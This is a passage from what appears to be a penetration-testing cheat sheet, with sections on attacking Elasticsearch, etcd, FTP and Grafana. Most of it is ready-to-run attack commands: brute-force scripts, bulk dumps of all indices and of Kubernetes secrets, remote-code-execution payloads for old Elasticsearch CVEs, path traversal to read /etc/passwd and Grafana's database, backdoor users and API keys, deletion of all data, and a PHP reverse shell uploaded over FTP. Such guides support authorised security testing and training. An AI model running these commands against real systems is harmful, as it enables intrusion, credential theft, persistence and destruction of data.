mount | grep -i docker

# Check for Docker socket
ls -la /var/run/docker.sock

# Check for host proc
ls -la /proc/sys/kernel

# Check kernel version vs host
uname -r
```

4.) Elasticsearch

Default Ports: 9200 (HTTP), 9300 (Transport)

Elasticsearch is a distributed, RESTful search and analytics engine built on Apache Lucene. It's designed for horizontal scalability, real-time search, and complex data analysis. Elasticsearch stores data in JSON format and provides powerful full-text search capabilities. It's commonly used for log analytics (ELK stack), application search, security analytics, and business intelligence. Due to its RESTful API and potential misconfigurations, Elasticsearch instances can expose sensitive data if not properly secured.

Connect

Using cURL (HTTP API)

Connect to Elasticsearch using the REST API with various authentication methods.

Connect with Authentication

curl -u username:password http://target.com:9200

Connect with API Key

curl -H "Authorization: ApiKey base64(id:api_key)" http://target.com:9200

Using Kibana (GUI)

URL: http://target.com:5601
Username: elastic
Password: password

Connection URL Format

http://username:password@hostname:port
http://elastic:password@target.com:9200

Recon

Service Detection with Nmap

Use Nmap to identify Elasticsearch nodes and check if the REST API is exposed without authentication.

nmap -p 9200,9300 -sV target.com

Banner Grabbing

Identify Elasticsearch version and gather initial information about the cluster.

Using Netcat

nc target.com 9200

Using cURL for Information

curl http://target.com:9200

Extract Version and Cluster Details

curl http://target.com:9200 | jq .version
curl http://target.com:9200 | jq .cluster_name

Enumeration

Cluster Information

Elasticsearch cluster information reveals node configurations, health status, and cluster topology.

Get Cluster Health and Stats

curl http://target.com:9200/_cluster/health?pretty
curl http://target.com:9200/_cluster/stats?pretty

Get Cluster Settings

curl http://target.com:9200/_cluster/settings?pretty

Get Node Information

curl http://target.com:9200/_nodes?pretty
curl http://target.com:9200/_cat/nodes?v
curl http://target.com:9200/_nodes/stats?pretty

Index Enumeration

Indices contain the actual data and enumerating them reveals what information is stored in Elasticsearch.

List All Indices

curl http://target.com:9200/_cat/indices?v
curl http://target.com:9200/_aliases?pretty

Get Index Details

curl http://target.com:9200/index_name?pretty
curl http://target.com:9200/index_name/_settings?pretty

Get Index Mappings and Statistics

curl http://target.com:9200/index_name/_mapping?pretty
curl http://target.com:9200/index_name/_stats?pretty

Data Enumeration

Search and analyze data stored in Elasticsearch indices to identify sensitive information.

Search All Indices

curl http://target.com:9200/_search?pretty

Search Specific Index

curl http://target.com:9200/index_name/_search?pretty

Get All Documents

curl http://target.com:9200/index_name/_search?size=1000&pretty

Advanced Search Queries

```
# Match all query
curl -X POST http://target.com:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "match_all": {}
  }
}'

# Count documents
curl http://target.com:9200/index_name/_count?pretty
```

Template and Pipeline Enumeration

Discover index templates, ingest pipelines, and stored scripts that may contain sensitive configuration.

List Index Templates

curl http://target.com:9200/_cat/templates?v
curl http://target.com:9200/_template?pretty

List Ingest Pipelines

curl http://target.com:9200/_ingest/pipeline?pretty

List Stored Scripts

curl http://target.com:9200/_scripts?pretty

Attack Vectors

No Authentication

Elasticsearch instances without authentication allow unrestricted access to all data and cluster management functions.

Test for Unauthenticated Access

curl http://target.com:9200

Access All Data

curl http://target.com:9200/_search?pretty
curl http://target.com:9200/_cat/indices?v

Default Credentials

Many Elasticsearch installations use weak default credentials that are easily guessable.

Common Default Credentials

 # Common default credentials for Elastic Stack
elastic:changeme
elastic:elastic
admin:admin
kibana:kibana

Test Default Credentials

curl -u elastic:changeme http://target.com:9200
curl -u elastic:elastic http://target.com:9200

Brute Force Attack

Brute forcing Elasticsearch credentials when X-Pack security is enabled.

Using Hydra

hydra -l elastic -P /usr/share/wordlists/rockyou.txt target.com http-get /:9200

Custom Script

```
for pass in $(cat passwords.txt); do
  response=$(curl -s -u elastic:$pass http://target.com:9200)
  if [[ $response != *"unauthorized"* ]]; then
    echo "[+] Found: elastic:$pass"
    break
  fi
done
```

Data Exfiltration

Extract sensitive data from Elasticsearch indices for analysis or exfiltration.

Dump All Indices

```
for index in $(curl -s http://target.com:9200/_cat/indices | awk '{print $3}'); do
  echo "[*] Dumping index: $index"
  curl http://target.com:9200/$index/_search?size=10000&pretty > ${index}_dump.json
done
```

Export Specific Index

```
# Without authentication
elasticdump \
  --input=http://target.com:9200/index_name \
  --output=./index_data.json \
  --type=data

# With authentication
elasticdump \
  --input=http://elastic:password@target.com:9200/index_name \
  --output=./index_data.json \
  --type=data
```

Index Manipulation

Manipulate Elasticsearch indices to cause data loss or create backdoors.

Create Malicious Index

curl -X PUT http://target.com:9200/backdoor_index?pretty

Delete Indices

 # Delete specific index
curl -X DELETE http://target.com:9200/index_name?pretty

 # Delete all indices
curl -X DELETE http://target.com:9200/_all?pretty

Modify Index Settings

```
curl -X PUT http://target.com:9200/index_name/_settings?pretty -H 'Content-Type: application/json' -d'
{
  "index": {
    "number_of_replicas": 0
  }
}'
```

Script Execution (CVE-2014-3120 & CVE-2015-1427)

Exploit script injection vulnerabilities in older Elasticsearch versions to execute arbitrary code.

MVEL Script Injection (CVE-2014-3120)

```
curl -X POST http://target.com:9200/_search?pretty -d'
{
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "command": {
      "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"whoami\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
```

}'

Groovy Script Injection (CVE-2015-1427)

```
curl -X POST http://target.com:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "function_score": {
      "query": {"match_all": {}},
      "script_score": {
        "script":
"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"
      }
    }
  }
}'
```

Path Traversal

Attempt to read sensitive files from the host system using path traversal vulnerabilities.

Basic Path Traversal

```
curl http://target.com:9200/_plugin/../../../../../../etc/passwd
```

URL Encoded Path Traversal

```
curl http://target.com:9200/_plugin/..%2f..%2f..%2fetc%2fpasswd
```

Plugin-Specific Path Traversal

```
curl http://target.com:9200/_plugin/head/../../../../../../etc/passwd
```

Post-Exploitation

Data Extraction

Extract and analyze sensitive data from Elasticsearch indices for further exploitation.

Export All Data

```
curl -X POST http://target.com:9200/_search?scroll=1m&pretty -H 'Content-Type: application/json' -d'
{
  "size": 1000,
```

```
  "query": {
    "match_all": {}
  }
}'
```

Search for Sensitive Data

```
curl -X POST http://target.com:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "multi_match": {
      "query": "password secret token key credential",
      "fields": ["*"]
    }
  }
}'
```

Search for Credit Cards

```
curl -X POST http://target.com:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "regexp": {
      "credit_card": "[0-9]{16}"
    }
  }
}'
```

Persistence

Establish persistent access to the compromised Elasticsearch cluster.

Create Backdoor User

```
curl -X POST http://target.com:9200/_security/user/backdoor?pretty -u elastic:password -H
'Content-Type: application/json' -d'
{
  "password": "BackdoorP@ss123!",
  "roles": ["superuser"],
  "full_name": "System Admin",
  "email": "admin@system.local"
}'
```

Create Backdoor Index

```
curl -X PUT http://target.com:9200/.backdoor_index?pretty -H 'Content-Type:
application/json' -d'
{
  "settings": {
    "index": {
      "hidden": true
    }
  }
}'
```

Denial of Service

Cause service disruption by overwhelming Elasticsearch with resource-intensive operations.

Delete All Indices

```
curl -X DELETE http://target.com:9200/_all?pretty
```

Create Resource-Intensive Queries

```
curl -X POST http://target.com:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "size": 10000,
  "query": {
    "bool": {
      "should": [
        {"wildcard": {"field": "*"}},
        {"regexp": {"field": ".*"}}
      ]
    }
  }
}'
```

Flood with Bulk Requests

```
for i in {1..10000}; do
  curl -X POST http://target.com:9200/test/_bulk?pretty -H 'Content-Type: application/json' -
d'
  {"index":{}}
  {"field":"'$(head -c 100000 /dev/urandom | base64)'"}
  ' &
done
```

Snapshot and Restore Abuse

Exploit Elasticsearch snapshot and restore functionality for data manipulation or persistence.

List Snapshots

curl http://target.com:9200/_snapshot?pretty

Create Snapshot Repository

curl -X PUT http://target.com:9200/_snapshot/backup_repo?pretty -H 'Content-Type: application/json' -d'
{
  "type": "fs",
  "settings": {
    "location": "/tmp/backup"
  }
}'

Create and Restore Snapshots

 # Create snapshot
curl -X PUT http://target.com:9200/_snapshot/backup_repo/snapshot_1?wait_for_completion=true&pretty

 # Restore from snapshot
curl -X POST http://target.com:9200/_snapshot/backup_repo/snapshot_1/_restore?pretty

Lateral Movement

Use Elasticsearch data to discover credentials and connection strings for lateral movement.

Extract Database Credentials

curl -X POST http://target.com:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "bool": {
      "should": [
        {"match": {"*": "jdbc:"}},
        {"match": {"*": "mysql://"}},
        {"match": {"*": "postgresql://"}},
        {"match": {"*": "mongodb://"}}
      ]
    }
  }

}'

Find SSH Keys

```
curl -X POST http://target.com:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "regexp": {
      "*": "BEGIN.*PRIVATE KEY"
    }
  }
}'
```

Common Elasticsearch APIs

Endpoint	Description	Example
/	Cluster info	curl http://target:9200/
/_cat/indices	List indices	curl http://target:9200/_cat/indices?v
/_search	Search data	curl http://target:9200/_search?pretty
/_cluster/health	Cluster health	curl http://target:9200/_cluster/health
/_nodes	Node info	curl http://target:9200/_nodes
/_cat/shards	Shard info	curl http://target:9200/_cat/shards?v
/_template	Index templates	curl http://target:9200/_template
/_snapshot	Snapshots	curl http://target:9200/_snapshot

Search Query Examples

```
# Match all
curl -X POST http://target:9200/_search?pretty -H 'Content-Type: application/json' -d'
{"query": {"match_all": {}}}'
```

```
# Term query
curl -X POST http://target:9200/_search?pretty -H 'Content-Type: application/json' -d'
{"query": {"term": {"field": "value"}}}'

# Range query
curl -X POST http://target:9200/_search?pretty -H 'Content-Type: application/json' -d'
{"query": {"range": {"age": {"gte": 20, "lte": 30}}}}'

# Wildcard query
curl -X POST http://target:9200/_search?pretty -H 'Content-Type: application/json' -d'
{"query": {"wildcard": {"field": "*admin*"}}}'

# Aggregations
curl -X POST http://target:9200/_search?pretty -H 'Content-Type: application/json' -d'
{"aggs": {"group_by_field": {"terms": {"field": "category"}}}}'
```

Useful Tools

Tool	Description	Primary Use Case
curl	HTTP client	API interaction
elasticdump	Data export tool	Index backup
Kibana	Visualization platform	Data exploration
elasticsearch-dump	Backup utility	Data extraction
Burp Suite	Web proxy	API testing
Postman	API client	Manual testing

Security Misconfigurations

- ❌ No authentication enabled
- ❌ Default credentials
- ❌ Exposed to internet (0.0.0.0)

- ❌ Dynamic scripting enabled
- ❌ No SSL/TLS encryption
- ❌ Weak passwords
- ❌ No network firewall
- ❌ Anonymous access allowed
- ❌ Verbose error messages
- ❌ No access logging
- ❌ Outdated Elasticsearch version
- ❌ Unnecessary APIs exposed
- ❌ Default port (9200) accessible

5.) **etcd**

Default Ports: 2379 (Client API), 2380 (Peer Communication)

etcd is a distributed, reliable key-value store for the most critical data of a distributed system. It's used for shared configuration, service discovery, and coordinator election in distributed systems. Most notably, etcd is the primary datastore for Kubernetes, storing all cluster state, secrets, and configuration. Compromising etcd means complete access to all Kubernetes secrets, certificates, and cluster configuration - making it one of the highest value targets in cloud-native environments.

Connect

Using etcdctl (Official CLI)

etcdctl is the official command-line tool for interacting with etcd.

Basic Connection Setup

```
# Set API version (v3 is current)
export ETCDCTL_API=3

# Get version
etcdctl --endpoints=http://target.com:2379 version
```

List Cluster Members

```
etcdctl --endpoints=http://target.com:2379 member list
```

Get Keys and Values

```
# Get specific key
etcdctl --endpoints=http://target.com:2379 get /key/path

# Get all keys with prefix
etcdctl --endpoints=http://target.com:2379 get / --prefix --keys-only
```

Connect with TLS

```
etcdctl --endpoints=https://target.com:2379 \
  --cert=/path/to/cert.pem \
  --key=/path/to/key.pem \
  --cacert=/path/to/ca.pem \
  get / --prefix
```

Using curl (HTTP API)

etcd provides a RESTful HTTP API for all operations through two different API versions.

API v3 (Current)

The v3 API uses gRPC protocol and requires base64 encoding for keys, offering better performance:

```
# Get key
curl http://target.com:2379/v3/kv/range \
  -X POST \
  -d '{"key":"L2tleQ=="}'  # base64 encoded key "/key"

# List all keys
curl http://target.com:2379/v3/kv/range \
  -X POST \
  -d '{"key":"AA==","range_end":"AA=="}'  # \x00 to get all
```

API v2 (Deprecated)

The v2 API is simpler with direct JSON responses, though deprecated it's still widely used:

```
# List all keys recursively
curl http://target.com:2379/v2/keys/?recursive=true

# Get specific key
curl http://target.com:2379/v2/keys/key/path
```

Recon

Service Detection with Nmap

Use Nmap to detect etcd services and check for authentication requirements.

Basic Port and Version Detection

```
nmap -p 2379,2380 -sV target.com
```

HTTP Methods and Access Test

```
# Enumerate allowed HTTP methods
nmap -p 2379 --script http-methods target.com

# Verify if API is accessible without auth
curl http://target.com:2379/version
```

Version Detection

Identifying the etcd version helps determine applicable vulnerabilities.

```
# Using etcdctl
etcdctl --endpoints=http://target.com:2379 version

# Using curl
curl http://target.com:2379/version

# Get cluster version
curl http://target.com:2379/v2/stats/self | jq .version
```

Authentication Check

Test whether etcd requires authentication or allows anonymous access.

Test Anonymous Access

```
# Test anonymous access
curl http://target.com:2379/v2/keys/

# If returns data, no authentication required
# This is a critical misconfiguration
```

Test TLS Requirements

```
# Check if client cert is required
curl https://target.com:2379/version
# Connection refused = TLS required
# Certificate error = Client cert required
```

Enumeration

Key Enumeration

etcd stores all data as key-value pairs - enumerating keys reveals the data structure and helps identify sensitive information.

Using etcdctl

```
# List all keys
etcdctl --endpoints=http://target.com:2379 get / --prefix --keys-only

# List Kubernetes secrets specifically
etcdctl --endpoints=http://target.com:2379 get /registry/secrets --prefix --keys-only

# For Kubernetes etcd, important prefixes:
```

 # /registry/secrets/ - Kubernetes secrets
 # /registry/configmaps/ - ConfigMaps
 # /registry/serviceaccounts/ - Service account tokens
 # /registry/pods/ - Pod definitions
 # /registry/nodes/ - Node information

Using curl API

 # List all keys (API v2)
curl http://target.com:2379/v2/keys/?recursive=true | jq .

Value Extraction

After identifying keys, you can extract their values for analysis.

Get Specific Key Values

 # Get specific key value
etcdctl --endpoints=http://target.com:2379 get /registry/secrets/default/admin-token

 # Get all keys with values in a prefix
etcdctl --endpoints=http://target.com:2379 get /registry/secrets/ --prefix

Using curl API

 # Using curl (API v2)
curl http://target.com:2379/v2/keys/registry/secrets/?recursive=true

Real-time Monitoring

 # Watch for changes (real-time monitoring)
etcdctl --endpoints=http://target.com:2379 watch / --prefix

Member and Cluster Information

Understanding the cluster topology helps in comprehensive compromise.

Get Cluster Members

 # List cluster members
etcdctl --endpoints=http://target.com:2379 member list

Check Cluster Health

```
# Cluster health
etcdctl --endpoints=http://target.com:2379 endpoint health

# Cluster status
etcdctl --endpoints=http://target.com:2379 endpoint status
```

Using API for Cluster Info

```
# Using API
curl http://target.com:2379/v2/stats/leader
curl http://target.com:2379/v2/members
```

Attack Vectors

Unauthenticated Access

The most critical misconfiguration is exposing etcd without authentication, allowing complete access to all cluster data.

Testing for Open Access

```
# Test access
curl http://target.com:2379/v2/keys/?recursive=true

# If successful, you can:
# 1. Read all data (including secrets)
# 2. Modify configuration
# 3. Delete keys (DoS)
# 4. Add malicious keys
```

Extracting Sensitive Data

```
# Extract all Kubernetes secrets
etcdctl --endpoints=http://target.com:2379 get /registry/secrets/ --prefix | \
  grep -i "password\|token\|key"
```

Kubernetes Secret Extraction

If etcd stores Kubernetes data, you can extract all cluster secrets.

List and Extract Secrets

```
# List all secret keys
etcdctl --endpoints=http://target.com:2379 get /registry/secrets/ --prefix --keys-only

# Extract specific secret
```

etcdctl --endpoints=http://target.com:2379 get /registry/secrets/default/admin-token

Decode Kubernetes Secrets

 # Decode Kubernetes secret (stored as protobuf)
 # Install: go get k8s.io/apimachinery/pkg/runtime
 # Use auger or similar tool to decode

 # Or use API server if you extract a token

Data Manipulation

If you have write access, you can modify critical configuration.

Modify Existing Keys

 # Modify existing key
etcdctl --endpoints=http://target.com:2379 put /config/admin "compromised_value"

Inject Malicious Configuration

 # Inject malicious configuration
etcdctl --endpoints=http://target.com:2379 put /registry/secrets/kube-system/backdoor "malicious_secret"

 # Using API
curl http://target.com:2379/v2/keys/config/feature -XPUT -d value="malicious"

Denial of Service

Deleting or corrupting etcd data can cause complete system failure.

Delete All Data

 # Delete all keys (DANGEROUS - will break Kubernetes)
etcdctl --endpoints=http://target.com:2379 del / --prefix

Delete Specific Data

 # Delete specific namespace secrets
etcdctl --endpoints=http://target.com:2379 del /registry/secrets/default/ --prefix

 # Using API v2
curl http://target.com:2379/v2/keys/?recursive=true -XDELETE

Post-Exploitation

Complete Cluster Compromise

With etcd access, you can extract everything needed to compromise the entire Kubernetes cluster.

Extract All Secrets

```
# Extract all secrets
etcdctl --endpoints=http://target.com:2379 get /registry/secrets/ --prefix > all_secrets.txt

# Extract service account tokens
etcdctl --endpoints=http://target.com:2379 get /registry/serviceaccounts/ --prefix
```

Extract TLS Certificates

```
# Extract TLS certificates
etcdctl --endpoints=http://target.com:2379 get /registry/secrets/kube-system/ --prefix | grep certificate

# Extract API server certificates
etcdctl --endpoints=http://target.com:2379 get /registry/secrets/kube-system/ --prefix | grep apiserver
```

Persistence

Creating persistent backdoors through etcd.

Add Malicious Secrets

```
# Add malicious Kubernetes secret
etcdctl --endpoints=http://target.com:2379 put /registry/secrets/kube-system/backdoor-token "malicious_content"
```

Monitor Changes

```
# Monitor all changes (for credential harvesting)
etcdctl --endpoints=http://target.com:2379 watch / --prefix > watched_changes.log

# Modify existing deployments (if you can decode/encode protobuf)
# This is complex but possible
```

etcdctl Commands

Command	Description	Usage
get	Get key value	etcdctl get /key
put	Set key value	etcdctl put /key value
del	Delete key	etcdctl del /key
watch	Watch changes	etcdctl watch /key --prefix
member list	List members	etcdctl member list
snapshot save	Backup etcd	etcdctl snapshot save backup.db
endpoint health	Check health	etcdctl endpoint health

API Versions

Version	Endpoint	Status	Notes
v2	/v2/keys/	Deprecated	Simpler, JSON-based
v3	/v3/kv/	Current	gRPC, more efficient

Useful Tools

Tool	Description	Primary Use Case
etcdctl	Official CLI	etcd interaction
auger	Kubernetes decoder	Decode etcd secrets
curl	HTTP client	API interaction

Tool	Description	Primary Use Case
etcd-dump	Backup tool	Data extraction
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ No authentication/authorization
- ❌ No TLS encryption
- ❌ Client certificate authentication not required
- ❌ Exposed to internet (0.0.0.0)
- ❌ Default ports accessible
- ❌ No RBAC configured
- ❌ Weak or no peer authentication
- ❌ Secrets not encrypted at rest
- ❌ No audit logging
- ❌ Backup files accessible
- ❌ No network segmentation
- ❌ Debug mode enabled

6.) FTP (File Transfer Protocol)

Default Port: 21

FTP (File Transfer Protocol) is a standard network protocol used for transferring files from one host to another over a TCP-based network, such as the Internet. It enables users to upload or download files, manage file directories on a remote server, and navigate the server's file system.

FTP operates on a client-server model, where the client initiates a connection to the server to request files or submit files for storage.

The protocol supports anonymous access, where users can log in with a common username like 'anonymous' or 'ftp', and authenticated access, where a username and password are required.

Connect

Connect Using FTP Command

ftp <target-ip> <target-port>

#target port is optional

Connect Using lftp Command

lftp is the enhanced version of ftp. It's easier to use than ftp.

lftp X.X.X.X

Connect Using Web Browser

You can access an FTP server through a web browser (such as Firefox) by entering a URL formatted as follows:

ftp://username:password@X.X.X.X

Recon

Identifying an FTP Server

You can use Nmap to check if there's an FTP server on a target host like this:

nmap -p 21 X.X.X.X

Banner Grabbing

You can use Netcat to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -nv X.X.X.X 21

Enumeration

FTP Server Features

Using the nmap script ftp-features, you can enumerate the features supported by the FTP server:

nmap -p 21 --script ftp-features <target-ip>

This script tests for features listed by the FEAT command, providing insight into the server's capabilities.

Enumerating Default and Common Directories

Many FTP servers have default or common directories that may contain sensitive information. To check for these directories, tools like Dirbuster or gobuster can be used:

gobuster dir -u ftp://<target-ip> -w <wordlist-path>

Attack Vectors

Anonymous Authentication

FTP allows users to connect to a server without needing a specific identity by using an anonymous login feature. This method is widely used for accessing or downloading public files.

ftp X.X.X.X

#provide anonymous as username
#provide any password

Common Credentials

If anonymous login is disabled on the FTP server, trying common usernames and passwords like admin, administrator , root , ftpuser, or test can be a good initial step. This approach is less aggressive than attempting to guess passwords through brute force and is recommended to try first when accessing a server.

ftp X.X.X.X

#provide a common username

#provide a common password

Bruteforcing Credentials

A brute-force attack involves trying many passwords or usernames to find the right one for accessing a system.

Tools like Hydra are designed for cracking into networks and can be used on services like FTP, HTTP, SMB, etc. For FTP, Hydra often carries out a dictionary attack, which means it uses a list of possible usernames and passwords from a file to try and log in.

Bruteforcing with Hydra

To use Hydra for brute-forcing FTP login credentials, you would use a command structured for this purpose:

hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] ftp://X.X.X.X

Bruteforcing with Nmap

It is also possible to perform brute force on FTP with Nmap scripts:

nmap -p 21 --script ftp-brute X.X.X.X

FTP Bounce Attack

FTP Bounce Attack exploits the FTP protocol's ability to redirect traffic, masking the attack source. It uses an FTP server's PORT command to route data to a third party, making the attack seem to originate from the server.

How to Execute an FTP Bounce Attack:

1. Find an FTP server that doesn't restrict the PORT command.
2. Connect to the FTP server.

ftp X.X.X.X

3. Use the PORT command to redirect data to the target.

quote PORT target_IP,port

4. Initiate a file transfer or command that sends data to the target.

get filename

This command requests a file from the FTP server, which is then sent to the specified target, exploiting the bounce capability.

Bouncing with Nmap

Nmap can scan networks via FTP bounce by specifying the -b option with an FTP server that allows bouncing.

nmap -b <FTP_server>:<port> <target_network>

This scans the target network, making it appear as though the scan originates from the specified FTP server.

Bouncing with Metasploit

Metasploit offers modules that leverage FTP bounce for various purposes. After setting up Metasploit, you can use:

use auxiliary/scanner/ftp/ftp_bounce
set RHOSTS <FTP_server>
set RPORT <FTP_port>
run

This module scans through the vulnerable FTP server to find open ports on other systems.

Post-Exploitation

Common FTP Commands

Command	Description	Usage
lcd	Change local directory.	lcd /path/to/directory
cd	Change server directory.	cd /path/to/directory
ls	List server directory files.	ls
get	Download file from server.	get filename.txt
mget	Download multiple files.	mget *.txt

Command	Description	Usage
put	Upload file to server.	put filename.txt
mput	Upload multiple files.	mput *.txt
bin	Set binary transfer mode.	bin
ascii	Set ASCII transfer mode.	ascii
quit	Exit FTP client.	quit

Download All Files

wget -m ftp://anonymous:anonymous@X.X.X.X

Reverse Shell over Website

If the target allows users to access the FTP directory over the web and the web server can run PHP files, you can install the exploit for the reverse shell and gain access.

1. Download the payload

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php

2. Edit some variables in shell.php

$ip = '<your-local-ip>';
$port = 1234;

3. Connect to the FTP server and upload the payload.

ftp <target-ip>

 # Upload the payload you downloaded
ftp> put shell.php

4. Get a shell

Firstly, you need to open a listener on your local machine.

```
nc -lvnp 1234
```

Then, in a web browser, navigate to "http://target.com/path/to/ftp/shell.php". This should trigger the exploit and establish a connection back to your listener, providing you with a shell on the target system.

7.) Grafana

Default Port: 3000

Grafana is an open-source analytics and interactive visualization web application. It provides charts, graphs, and alerts when connected to supported data sources such as Prometheus, Elasticsearch, InfluxDB, and many others. Grafana is extremely popular in DevOps environments for monitoring infrastructure, applications, and business metrics. Misconfigurations can expose sensitive metrics, datasource credentials, and provide paths to compromise the underlying infrastructure.

Connect

Using Web Browser

The primary way to access Grafana is through its web interface.

Basic Web Access

```
# HTTP access
http://target.com:3000

# HTTPS access (if configured)
https://target.com:3000
```

Login and Dashboard Access

```
# Login page
http://target.com:3000/login

# Direct dashboard access
http://target.com:3000/d/dashboard-id/dashboard-name
```

Using Grafana API

Grafana provides a comprehensive HTTP API for automation and integration.

Basic API Access

```
# Check API version
curl http://target.com:3000/api/health

# Get organization info
curl http://target.com:3000/api/org
```

Authenticated API Access

 # With authentication (API key)
curl -H "Authorization: Bearer API_KEY" http://target.com:3000/api/dashboards/home

 # With basic auth
curl -u admin:password http://target.com:3000/api/admin/settings

Using Grafana CLI

If you have shell access to the Grafana server, you can use the grafana-cli tool.

Admin Operations

 # Reset admin password
grafana-cli admin reset-admin-password newpassword

Plugin Management

 # List plugins
grafana-cli plugins list-remote

 # Install plugin
grafana-cli plugins install plugin-name

Recon

Service Detection with Nmap

Use Nmap to detect Grafana installations and identify version information:

nmap -p 3000 -sV target.com

Banner Grabbing and Version Detection

Identify the Grafana version through various API endpoints and HTTP headers.

Get Version Information

 # Get version from API
curl http://target.com:3000/api/health

 # From login page
curl -s http://target.com:3000/login | grep -i "grafana"

 # From HTTP headers
curl -I http://target.com:3000

Get Build Information

```
# Get build info (may require auth)
curl -u admin:admin http://target.com:3000/api/admin/settings
```

Anonymous Access Check

Grafana can be configured to allow anonymous access, which may expose sensitive dashboards.

Test Anonymous Access

```
# Check if anonymous access is enabled
curl http://target.com:3000/api/dashboards/home

# If returns data without auth, anonymous access is enabled
```

Check Configuration

```
# Check configuration
curl http://target.com:3000/api/org
```

Enumeration

Dashboard Enumeration

Dashboards contain metrics and can reveal infrastructure details, database queries, and system architecture.

List and Search Dashboards

```
# List all dashboards (requires auth)
curl -u admin:password http://target.com:3000/api/search

# Search for specific dashboards
curl -u admin:password "http://target.com:3000/api/search?query=database"
```

Get Dashboard Details

```
# Get dashboard details
curl -u admin:password http://target.com:3000/api/dashboards/uid/DASHBOARD_UID

# Export dashboard
curl -u admin:password http://target.com:3000/api/dashboards/uid/DASHBOARD_UID > dashboard.json
```

Datasource Enumeration

Datasources contain connection strings, credentials, and sensitive configuration.

List Datasources

```
# List all datasources
curl -u admin:password http://target.com:3000/api/datasources

# Get datasource by ID
curl -u admin:password http://target.com:3000/api/datasources/1
```

Extract Credentials

```
# Search for credentials in datasources
curl -u admin:password http://target.com:3000/api/datasources | \
  jq -r '.[] | select(.password or .secureJsonData)'

# Datasources may contain:
# - Database credentials
# - API tokens
# - Connection strings
# - Internal IP addresses
```

User Enumeration

Understanding user accounts and their permissions helps in privilege escalation and identifying admin accounts.

Organization Users

```
# List all users (admin required)
curl -u admin:password http://target.com:3000/api/org/users

# Get current user
curl -u admin:password http://target.com:3000/api/user
```

Global User List

```
# List users globally (admin)
curl -u admin:password http://target.com:3000/api/users

# User permissions
curl -u admin:password http://target.com:3000/api/user/orgs
```

Organization and Team Enumeration

Organizations and teams control access to dashboards and datasources.

List Organizations

```
# List organizations
curl -u admin:password http://target.com:3000/api/orgs

# Current organization
curl -u admin:password http://target.com:3000/api/org
```

List Teams and Members

```
# Teams in organization
curl -u admin:password http://target.com:3000/api/teams/search

# Team members
curl -u admin:password http://target.com:3000/api/teams/1/members
```

Plugin Enumeration

Plugins can introduce vulnerabilities and provide additional attack surface.

List Installed Plugins

```
# List installed plugins
curl -u admin:password http://target.com:3000/api/plugins

# Get plugin details
curl -u admin:password http://target.com:3000/api/plugins/plugin-name/settings
```

Check Plugin Versions

```
# Check for vulnerable plugins
curl -u admin:password http://target.com:3000/api/plugins | jq -r '.[].info.version'
```

Attack Vectors

Default Credentials

Grafana's most common misconfiguration is unchanged default credentials.

Test Default Login

```
# Default credentials
admin:admin
```

```
# Try login via API
curl -X POST http://target.com:3000/login \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","password":"admin"}'
```

Web Interface Login

```
# Web interface
# Navigate to http://target.com:3000/login
# Username: admin
# Password: admin
```

Brute Force Attack

If default credentials don't work, you can attempt brute force attacks.

Using Hydra

```
# Using hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \
  "/login:user=^USER^&password=^PASS^:F=Invalid username or password"
```

Custom Brute Force Script

```
# Using custom script
for pass in $(cat passwords.txt); do
  response=$(curl -s -X POST http://target.com:3000/login \
    -H "Content-Type: application/json" \
    -d "{\"user\":\"admin\",\"password\":\"$pass\"}")
  if [[ $response != *"Invalid"* ]]; then
    echo "[+] Found: admin:$pass"
    break
  fi
done
```

Path Traversal (CVE-2021-43798)

Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to arbitrary file read.

Exploit Path Traversal

```
# Exploit path traversal
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```

```
# Read Grafana configuration
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini

# Read datasource credentials
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db
```

Automated Exploitation

```
# Using nuclei
nuclei -u http://target.com:3000 -t cves/2021/CVE-2021-43798.yaml
```

SQL Injection in Data Sources

If you can create or modify datasources, you can inject SQL to access databases.

Create Malicious Datasource

```
# Create malicious MySQL datasource
curl -X POST http://target.com:3000/api/datasources \
  -u admin:password \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Malicious DB",
    "type": "mysql",
    "url": "target-db:3306",
    "database": "test",
    "user": "root",
    "secureJsonData": {
      "password": "password"
    }
  }'
```

Query Through Grafana

```
# Query database through Grafana
# Grafana acts as a proxy to internal databases
```

API Key Theft

API keys provide programmatic access to Grafana and should be extracted if possible.

List and Extract API Keys

```
# List API keys (admin required)
curl -u admin:password http://target.com:3000/api/auth/keys
```

Create and Use API Keys

```
# Create new API key
curl -X POST http://target.com:3000/api/auth/keys \
  -u admin:password \
  -H "Content-Type: application/json" \
  -d '{"name":"backdoor","role":"Admin"}'

# Use API key
curl -H "Authorization: Bearer API_KEY" http://target.com:3000/api/datasources
```

Post-Exploitation

Datasource Credential Extraction

Extracting datasource credentials provides access to backend databases and services.

Extract via API

```
# Get all datasources with credentials
curl -u admin:password http://target.com:3000/api/datasources | jq .
```

Extract from Database

```
# Extract from grafana.db (if you have file access)
sqlite3 /var/lib/grafana/grafana.db "SELECT * FROM data_source;"

# Passwords are encrypted, but key is in grafana.ini
cat /etc/grafana/grafana.ini | grep secret_key

# Decrypt passwords (if you have the secret key)
# Grafana uses AES-256-CFB encryption
```

